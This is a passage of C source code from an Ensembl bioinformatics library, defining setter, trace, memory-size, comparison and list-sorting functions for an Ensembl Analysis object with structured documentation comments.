ensAnalysisGetWebdata(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Webdata : NULL;\n}\n\n\n\n\n/* @section member assignment *************************************************\n**\n** Functions for assigning members of an Ensembl Analysis object.\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Set Set one member of an Ensembl Analysis\n** @nam4rule Adaptor Set the Ensembl Analysis Adaptor\n** @nam4rule Databasefile Set the database file\n** @nam4rule Databasename Set the database name\n** @nam4rule Databaseversion Set the database version\n** @nam4rule Date Set a date\n** @nam5rule Creation Set the date of creation\n** @nam4rule Description Set the description\n** @nam4rule Displayable Set the displayable flag\n** @nam4rule Displaylabel Set the display label\n** @nam4rule Gfffeature Set the GFF feature\n** @nam4rule Gffsource Set the GFF source\n** @nam4rule Identifier Set the SQL database-internal identifier\n** @nam4rule Modulename Set the module name\n** @nam4rule Moduleversion Set the module version\n** @nam4rule Name Set the name\n** @nam4rule Parameters Set the parameters\n** @nam4rule Programfile Set the program file\n** @nam4rule Programname Set the program name\n** @nam4rule Programversion Set the program version\n** @nam4rule Webdata Set the web data\n**\n** @argrule * analysis [EnsPAnalysis] Ensembl Analysis object\n** @argrule Adaptor aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @argrule Databasefile databasefile [AjPStr] Database file\n** @argrule Databasename databasename [AjPStr] Database name\n** @argrule Databaseversion databaseversion [AjPStr] Database version\n** @argrule DateCreation cdate [AjPStr] Creation date\n** @argrule Description description [AjPStr] Description\n** @argrule Displayable displayable [AjBool] Displayable flag\n** @argrule Displaylabel displaylabel [AjPStr] Display label\n** @argrule Gfffeature gfffeature [AjPStr] GFF feature\n** @argrule Gffsource gffsource [AjPStr] GFF source\n** @argrule Identifier identifier [ajuint] SQL database-internal identifier\n** @argrule Modulename modulename [AjPStr] Module name\n** @argrule Moduleversion moduleversion [AjPStr] Module version\n** @argrule Name name [AjPStr] Name\n** @argrule Parameters parameters [AjPStr] Parameters\n** @argrule Programfile programfile [AjPStr] Program file\n** @argrule Programname programname [AjPStr] Program name\n** @argrule Programversion programversion [AjPStr] Program version\n** @argrule Webdata webdata [AjPStr] Web data\n**\n** @valrule * [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @fcategory modify\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisSetAdaptor ************************************************\n**\n** Set the Ensembl Analysis Adaptor member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Storable::adaptor\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetAdaptor(EnsPAnalysis analysis,\n                             EnsPAnalysisadaptor aa)\n{\n    if (!analysis)\n        return ajFalse;\n\n    analysis->Adaptor = aa;\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDatabasefile *******************************************\n**\n** Set the database file member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::db_file\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] databasefile [AjPStr] Database file\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDatabasefile(EnsPAnalysis analysis,\n                                  AjPStr databasefile)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Databasefile);\n\n    analysis->Databasefile = ajStrNewRef(databasefile);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDatabasename *******************************************\n**\n** Set the database name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::db\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] databasename [AjPStr] Database name\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDatabasename(EnsPAnalysis analysis,\n                                  AjPStr databasename)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Databasename);\n\n    analysis->Databasename = ajStrNewRef(databasename);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDatabaseversion ****************************************\n**\n** Set the database version member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::db_version\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] databaseversion [AjPStr] Database version\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDatabaseversion(EnsPAnalysis analysis,\n                                     AjPStr databaseversion)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Databaseversion);\n\n    analysis->Databaseversion = ajStrNewRef(databaseversion);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDateCreation *******************************************\n**\n** Set the date of creation member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::created\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] cdate [AjPStr] Creation date\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDateCreation(EnsPAnalysis analysis,\n                                  AjPStr cdate)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->DateCreation);\n\n    analysis->DateCreation = ajStrNewRef(cdate);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDescription ********************************************\n**\n** Set the description member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::description\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] description [AjPStr] Description\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDescription(EnsPAnalysis analysis,\n                                 AjPStr description)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Description);\n\n    analysis->Description = ajStrNewRef(description);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDisplayable ********************************************\n**\n** Set the displayable member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::displayable\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [r] displayable [AjBool] Displayable flag\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDisplayable(EnsPAnalysis analysis,\n                                 AjBool displayable)\n{\n    if (!analysis)\n        return ajFalse;\n\n    analysis->Displayable = displayable;\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetDisplaylabel *******************************************\n**\n** Set the display label member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::display_label\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] displaylabel [AjPStr] Display label\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetDisplaylabel(EnsPAnalysis analysis,\n                                  AjPStr displaylabel)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Displaylabel);\n\n    analysis->Displaylabel = ajStrNewRef(displaylabel);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetGfffeature *********************************************\n**\n** Set the GFF feature member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::gff_feature\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] gfffeature [AjPStr] GFF feature\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetGfffeature(EnsPAnalysis analysis,\n                                AjPStr gfffeature)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Gfffeature);\n\n    analysis->Gfffeature = ajStrNewRef(gfffeature);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetGffsource **********************************************\n**\n** Set the GFF source member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::gff_source\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] gffsource [AjPStr] GFF source\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetGffsource(EnsPAnalysis analysis,\n                               AjPStr gffsource)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Gffsource);\n\n    analysis->Gffsource = ajStrNewRef(gffsource);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetIdentifier *********************************************\n**\n** Set the SQL database-internal identifier member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Storable::dbID\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [r] identifier [ajuint] SQL database-internal identifier\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetIdentifier(EnsPAnalysis analysis,\n                                ajuint identifier)\n{\n    if (!analysis)\n        return ajFalse;\n\n    analysis->Identifier = identifier;\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetModulename *********************************************\n**\n** Set the module name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::module\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] modulename [AjPStr] Module name\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetModulename(EnsPAnalysis analysis,\n                                AjPStr modulename)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Modulename);\n\n    analysis->Modulename = ajStrNewRef(modulename);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetModuleversion ******************************************\n**\n** Set the module version member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::module_version\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] moduleversion [AjPStr] Module version\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetModuleversion(EnsPAnalysis analysis,\n                                   AjPStr moduleversion)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Moduleversion);\n\n    analysis->Moduleversion = ajStrNewRef(moduleversion);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetName ***************************************************\n**\n** Set the name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::logic_name\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] name [AjPStr] Name\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetName(EnsPAnalysis analysis,\n                          AjPStr name)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Name);\n\n    analysis->Name = ajStrNewRef(name);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetParameters *********************************************\n**\n** Set the parameters member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::parameters\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] parameters [AjPStr] Parameters\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetParameters(EnsPAnalysis analysis,\n                                AjPStr parameters)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Parameters);\n\n    analysis->Parameters = ajStrNewRef(parameters);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetProgramfile ********************************************\n**\n** Set the program file member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::program_file\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] programfile [AjPStr] Program file\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetProgramfile(EnsPAnalysis analysis,\n                                 AjPStr programfile)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Programfile);\n\n    analysis->Programfile = ajStrNewRef(programfile);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetProgramname ********************************************\n**\n** Set the program name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::program\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] programname [AjPStr] Program name\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetProgramname(EnsPAnalysis analysis,\n                                 AjPStr programname)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Programname);\n\n    analysis->Programname = ajStrNewRef(programname);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetProgramversion *****************************************\n**\n** Set the program version member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::program_version\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] programversion [AjPStr] Program version\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetProgramversion(EnsPAnalysis analysis,\n                                    AjPStr programversion)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Programversion);\n\n    analysis->Programversion = ajStrNewRef(programversion);\n\n    return ajTrue;\n}\n\n\n\n\n/* @func ensAnalysisSetWebdata ************************************************\n**\n** Set the web data member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::web_data\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n** @param [u] webdata [AjPStr] Web data\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisSetWebdata(EnsPAnalysis analysis,\n                             AjPStr webdata)\n{\n    if (!analysis)\n        return ajFalse;\n\n    ajStrDel(&analysis->Webdata);\n\n    analysis->Webdata = ajStrNewRef(webdata);\n\n    return ajTrue;\n}\n\n\n\n\n/* @section debugging *********************************************************\n**\n** Functions for reporting of an Ensembl Analysis object.\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Trace Report Ensembl Analysis members to debug file.\n**\n** @argrule Trace analysis [const EnsPAnalysis] Ensembl Analysis\n** @argrule Trace level [ajuint] Indentation level\n**\n** @valrule * [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @fcategory misc\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisTrace *****************************************************\n**\n** Trace an Ensembl Analysis.\n**\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n** @param [r] level [ajuint] Indentation level\n**\n** @return [AjBool] ajTrue upon success, ajFalse otherwise\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisTrace(const EnsPAnalysis analysis, ajuint level)\n{\n    AjPStr indent = NULL;\n\n    if (!analysis)\n        return ajFalse;\n\n    indent = ajStrNew();\n\n    ajStrAppendCountK(&indent, ' ', level * 2);\n\n    ajDebug(\"%SensAnalysisTrace %p\\n\"\n            \"%S  Use %u\\n\"\n            \"%S  Identifier %u\\n\"\n            \"%S  Adaptor %p\\n\"\n            \"%S  DateCreation '%S'\\n\"\n            \"%S  Name '%S'\\n\"\n            \"%S  Databasename '%S'\\n\"\n            \"%S  Databaseversion '%S'\\n\"\n            \"%S  Databasefile '%S'\\n\"\n            \"%S  Programname '%S'\\n\"\n            \"%S  Programversion '%S'\\n\"\n            \"%S  Programfile '%S'\\n\"\n            \"%S  Parameters '%S'\\n\"\n            \"%S  Modulename '%S'\\n\"\n            \"%S  Moduleversion '%S'\\n\"\n            \"%S  Gffsource '%S'\\n\"\n            \"%S  Gfffeature '%S'\\n\"\n            \"%S  Description %p\\n\"\n            \"%S  Displaylabel '%S'\\n\"\n            \"%S  Displayable '%B'\\n\"\n            \"%S  Webdata %p\\n\",\n            indent, analysis,\n            indent, analysis->Use,\n            indent, analysis->Identifier,\n            indent, analysis->Adaptor,\n            indent, analysis->DateCreation,\n            indent, analysis->Name,\n            indent, analysis->Databasename,\n            indent, analysis->Databaseversion,\n            indent, analysis->Databasefile,\n            indent, analysis->Programname,\n            indent, analysis->Programversion,\n            indent, analysis->Programfile,\n            indent, analysis->Parameters,\n            indent, analysis->Modulename,\n            indent, analysis->Moduleversion,\n            indent, analysis->Gffsource,\n            indent, analysis->Gfffeature,\n            indent, analysis->Description,\n            indent, analysis->Displaylabel,\n            indent, analysis->Displayable,\n            indent, analysis->Webdata);\n\n    ajStrDel(&indent);\n\n    return ajTrue;\n}\n\n\n\n\n/* @section calculate *********************************************************\n**\n** Functions for calculating information from an Ensembl Analysis object.\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Calculate Calculate Ensembl Analysis information\n** @nam4rule Memsize Calculate the memory size in bytes\n**\n** @argrule * analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @valrule Memsize [size_t] Memory size in bytes or 0\n**\n** @fcategory misc\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisCalculateMemsize ******************************************\n**\n** Get the memory size in bytes of an Ensembl Analysis.\n**\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [size_t] Memory size in bytes or 0\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nsize_t ensAnalysisCalculateMemsize(const EnsPAnalysis analysis)\n{\n    size_t size = 0;\n\n    if (!analysis)\n        return 0;\n\n    size += sizeof (EnsOAnalysis);\n\n    if (analysis->DateCreation)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->DateCreation);\n    }\n\n    if (analysis->Name)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Name);\n    }\n\n    if (analysis->Databasename)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Databasename);\n    }\n\n    if (analysis->Databaseversion)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Databaseversion);\n    }\n\n    if (analysis->Databasefile)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Databasefile);\n    }\n\n    if (analysis->Programname)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Programname);\n    }\n\n    if (analysis->Programversion)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Programversion);\n    }\n\n    if (analysis->Programfile)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Programfile);\n    }\n\n    if (analysis->Parameters)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Parameters);\n    }\n\n    if (analysis->Modulename)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Modulename);\n    }\n\n    if (analysis->Moduleversion)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Moduleversion);\n    }\n\n    if (analysis->Gffsource)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Gffsource);\n    }\n\n    if (analysis->Gfffeature)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Gfffeature);\n    }\n\n    if (analysis->Description)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Description);\n    }\n\n    if (analysis->Displaylabel)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Displaylabel);\n    }\n\n    if (analysis->Webdata)\n    {\n        size += sizeof (AjOStr);\n\n        size += ajStrGetRes(analysis->Webdata);\n    }\n\n    return size;\n}\n\n\n\n\n/* @section testing properties ************************************************\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Is Test an Ensembl Analysis property\n** @nam4rule Database Ensembl Analysis is based on a database\n**\n** @argrule Is analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @valrule * [AjBool] Ensembl Analysis boolean property\n**\n** @fcategory use\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisIsDatabase ************************************************\n**\n** Test whether an Ensembl Analysis is based on a database.\n**\n** @cc Bio::EnsEMBL::Analysis::has_database\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjBool]\n** ajTrue if the Ensembl Analysis was defined and has a database attached\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisIsDatabase(const EnsPAnalysis analysis)\n{\n    if (!analysis)\n        return ajFalse;\n\n    if (analysis->Databasename && ajStrGetLen(analysis->Databasename))\n        return ajTrue;\n    else\n        return ajFalse;\n}\n\n\n\n\n/* @section comparison ********************************************************\n**\n** Functions for comparing Ensembl Analysis objects\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Match Compare two Ensembl Analysis objects\n**\n** @argrule * analysis1 [const EnsPAnalysis] Ensembl Analysis\n** @argrule * analysis2 [const EnsPAnalysis] Ensembl Analysis\n**\n** @valrule * [AjBool] ajTrue if the Ensembl Analysis objects are equal\n**\n** @fcategory use\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisMatch *****************************************************\n**\n** Test for matching two Ensembl Analysis objects.\n**\n** @cc Bio::EnsEMBL::Analysis::compare\n** @param [r] analysis1 [const EnsPAnalysis] First Ensembl Analysis\n** @param [r] analysis2 [const EnsPAnalysis] Second Ensembl Analysis\n**\n** @return [AjBool] ajTrue if the Ensembl Analysis objects are equal\n**\n** @release 6.2.0\n** @@\n** The comparison is based on an initial pointer equality test and if that\n** fails, a case-insensitive string comparison of the name and version members\n** is performed.\n******************************************************************************/\n\nAjBool ensAnalysisMatch(const EnsPAnalysis analysis1,\n                        const EnsPAnalysis analysis2)\n{\n    if (ajDebugTest(\"ensAnalysisMatch\"))\n        ajDebug(\"ensAnalysisMatch\\n\"\n                \"  analysis1 %p\\n\"\n                \"  analysis2 %p\\n\",\n                analysis1,\n                analysis2);\n\n    if (!analysis1)\n        return ajFalse;\n\n    if (!analysis2)\n        return ajFalse;\n\n    if (analysis1 == analysis2)\n        return ajTrue;\n\n    if (!ajStrMatchCaseS(analysis1->Name,\n                         analysis2->Name))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Databasename,\n                         analysis2->Databasename))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Databaseversion,\n                         analysis2->Databaseversion))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Databasefile,\n                         analysis2->Databasefile))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Programname,\n                         analysis2->Programname))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Programversion,\n                         analysis2->Programversion))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Programfile,\n                         analysis2->Programfile))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Parameters,\n                         analysis2->Parameters))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Modulename,\n                         analysis2->Modulename))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Moduleversion,\n                         analysis2->Moduleversion))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Gffsource,\n                         analysis2->Gffsource))\n        return ajFalse;\n\n    if (!ajStrMatchCaseS(analysis1->Gfffeature,\n                         analysis2->Gfffeature))\n        return ajFalse;\n\n    return ajTrue;\n}\n\n\n\n\n/* @datasection [AjPList] AJAX List *******************************************\n**\n** @nam2rule List Functions for manipulating AJAX List objects\n**\n******************************************************************************/\n\n\n\n\n/* @funcstatic listAnalysisCompareIdentifierAscending *************************\n**\n** AJAX List of Ensembl Analysis objects comparison function to sort by\n** Ensembl Analysis identifier in ascending order.\n**\n** @param [r] item1 [const void*] Ensembl Analysis address 1\n** @param [r] item2 [const void*] Ensembl Analysis address 2\n** @see ajListSort\n**\n** @return [int] The comparison function returns an integer less than,\n**               equal to, or greater than zero if the first argument is\n**               considered to be respectively less than, equal to, or\n**               greater than the second.\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nstatic int listAnalysisCompareIdentifierAscending(\n    const void *item1,\n    const void *item2)\n{\n    EnsPAnalysis analysis1 = *(EnsOAnalysis *const *) item1;\n    EnsPAnalysis analysis2 = *(EnsOAnalysis *const *) item2;\n\n#if defined(AJ_DEBUG) && AJ_DEBUG >= 2\n    if (ajDebugTest(\"listAnalysisCompareIdentifierAscending\"))\n        ajDebug(\"listAnalysisCompareIdentifierAscending\\n\"\n                \"  analysis1 %p\\n\"\n                \"  analysis2 %p\\n\",\n                analysis1,\n                analysis2);\n#endif /* defined(AJ_DEBUG) && AJ_DEBUG >= 2 */\n\n    /* Sort empty values towards the end of the AJAX List. */\n\n    if (analysis1 && (!analysis2))\n        return -1;\n\n    if ((!analysis1) && (!analysis2))\n        return 0;\n\n    if ((!analysis1) && analysis2)\n        return +1;\n\n    if (analysis1->Identifier < analysis2->Identifier)\n        return -1;\n\n    if (analysis1->Identifier > analysis2->Identifier)\n        return +1;\n\n    return 0;\n}\n\n\n\n\n/* @funcstatic listAnalysisCompareIdentifierDescending ************************\n**\n** AJAX List of Ensembl Analysis objects comparison function to sort by\n** Ensembl Analysis identifier in descending order.\n**\n** @param [r] item1 [const void*] Ensembl Analysis address 1\n** @param [r] item2 [const void*] Ensembl Analysis address 2\n** @see ajListSort\n**\n** @return [int] The comparison function returns an integer less than,\n**               equal to, or greater than zero if the first argument is\n**               considered to be respectively less than, equal to, or\n**               greater than the second.\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nstatic int listAnalysisCompareIdentifierDescending(\n    const void *item1,\n    const void *item2)\n{\n    EnsPAnalysis analysis1 = *(EnsOAnalysis *const *) item1;\n    EnsPAnalysis analysis2 = *(EnsOAnalysis *const *) item2;\n\n#if defined(AJ_DEBUG) && AJ_DEBUG >= 2\n    if (ajDebugTest(\"listAnalysisCompareIdentifierDescending\"))\n        ajDebug(\"listAnalysisCompareIdentifierDescending\\n\"\n                \"  analysis1 %p\\n\"\n                \"  analysis2 %p\\n\",\n                analysis1,\n                analysis2);\n#endif /* defined(AJ_DEBUG) && AJ_DEBUG >= 2 */\n\n    /* Sort empty values towards the end of the AJAX List. */\n\n    if (analysis1 && (!analysis2))\n        return -1;\n\n    if ((!analysis1) && (!analysis2))\n        return 0;\n\n    if ((!analysis1) && analysis2)\n        return +1;\n\n    if (analysis1->Identifier > analysis2->Identifier)\n        return -1;\n\n    if (analysis1->Identifier < analysis2->Identifier)\n        return +1;\n\n    return 0;\n}\n\n\n\n\n/* @funcstatic listAnalysisCompareNameAscending *******************************\n**\n** AJAX List of Ensembl Analysis objects comparison function to sort by\n** Ensembl Analysis name in ascending order.\n**\n** @param [r] item1 [const void*] Ensembl Analysis address 1\n** @param [r] item2 [const void*] Ensembl Analysis address 2\n** @see ajListSort\n**\n** @return [int] The comparison function returns an integer less than,\n**               equal to, or greater than zero if the first argument is\n**               considered to be respectively less than, equal to, or\n**               greater than the second.\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nstatic int listAnalysisCompareNameAscending(\n    const void *item1,\n    const void *item2)\n{\n    EnsPAnalysis analysis1 = *(EnsOAnalysis *const *) item1;\n    EnsPAnalysis analysis2 = *(EnsOAnalysis *const *) item2;\n\n#if defined(AJ_DEBUG) && AJ_DEBUG >= 2\n    if (ajDebugTest(\"listAnalysisCompareNameAscending\"))\n        ajDebug(\"listAnalysisCompareNameAscending\\n\"\n                \"  analysis1 %p\\n\"\n                \"  analysis2 %p\\n\",\n                analysis1,\n                analysis2);\n#endif /* defined(AJ_DEBUG) && AJ_DEBUG >= 2 */\n\n    /* Sort empty values towards the end of the AJAX List. */\n\n    if (analysis1 && (!analysis2))\n        return -1;\n\n    if ((!analysis1) && (!analysis2))\n        return 0;\n\n    if ((!analysis1) && analysis2)\n        return +1;\n\n    return ajStrCmpS(analysis1->Name, analysis2->Name);\n}\n\n\n\n\n/* @funcstatic listAnalysisCompareNameDescending ******************************\n**\n** AJAX List of Ensembl Analysis objects comparison function to sort by\n** Ensembl Analysis name in descending order.\n**\n** @param [r] item1 [const void*] Ensembl Analysis address 1\n** @param [r] item2 [const void*] Ensembl Analysis address 2\n** @see ajListSort\n**\n** @return [int] The comparison function returns an integer less than,\n**               equal to, or greater than zero if the first argument is\n**               considered to be respectively less than, equal to, or\n**               greater than the second.\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nstatic int listAnalysisCompareNameDescending(\n    const void *item1,\n    const void *item2)\n{\n    EnsPAnalysis analysis1 = *(EnsOAnalysis *const *) item1;\n    EnsPAnalysis analysis2 = *(EnsOAnalysis *const *) item2;\n\n#if defined(AJ_DEBUG) && AJ_DEBUG >= 2\n    if (ajDebugTest(\"listAnalysisCompareNameDescending\"))\n        ajDebug(\"listAnalysisCompareNameDescending\\n\"\n                \"  analysis1 %p\\n\"\n                \"  analysis2 